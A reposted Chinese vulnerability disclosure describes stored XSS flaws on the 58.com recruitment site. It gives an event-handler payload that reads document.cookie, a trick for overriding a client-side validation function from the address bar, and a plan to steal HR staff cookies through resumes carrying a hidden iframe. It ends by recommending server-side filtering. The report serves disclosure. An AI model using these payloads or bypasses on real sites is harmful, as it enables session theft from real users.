来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 58同城有好几处持久型xss。可以绕过客户端。事实再次证明客户端验证是纸老虎。漏洞证明:1. 用户个人资料处:测试代码: onmouseover=javascript:alert(document.cookie)2.爆网站模板http://my.58.c...
58同城有好几处持久型xss。可以绕过客户端。事实再次证明客户端验证是纸老虎。
漏洞证明: 1. 用户个人资料处: 测试代码: " onmouseover=javascript:alert(document.cookie)> 2.爆网站模板 http://my.58.com/mobileposthistory/ 3. 用户简历处绕过客户端xss(最严重)。 测试过程: 58只做了客户端验证,没有做服务端过滤(很危险的信号),所以能绕过。事实再次证明客户端验证是纸老虎。 (1). 填写简历,建立的每个input项都用js异步验证,思路是找到相应js,然后在地址栏修改验证函数。 (2). 以简历名称为例,它的验证函数是: function IsResumeNameValidate(c){try{var b=c.val(),a=$("#txtResumeNameInfo");return b.match(/^[\w|\u4E00-\u9FA5]{0,15}$/)?(clearInfoMsg(a),!0):(a.removeClass("action"),a.addClass("wrong"),a.html('<span class="action_po"><span class="action_po_top">\u8bf7\u8f93\u5165\u7b80\u5386\u540d\u79f0\uff0c\u6700\u591a12\u4e2a\u5b57</span><span class="action_po_bot"></span></span>'),c.addClass("wrongborder"),!1)}catch(d){return!0}} 不能输入特殊符号,地址栏输入: javascript:function IsResumeNameValidate(c){return true}; 直接重定义函数,覆盖了之前的。 (3). 填入测试代码,保存预览: (4). 漏洞利用,盗取各公司人力资源的cookie: www.2cto.com 测试代码(生成1*1的iframe异步传送cookie): 把简历投寄给hr,等他们上钩。 修复方案: 服务端过滤啊。 作者 random_ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com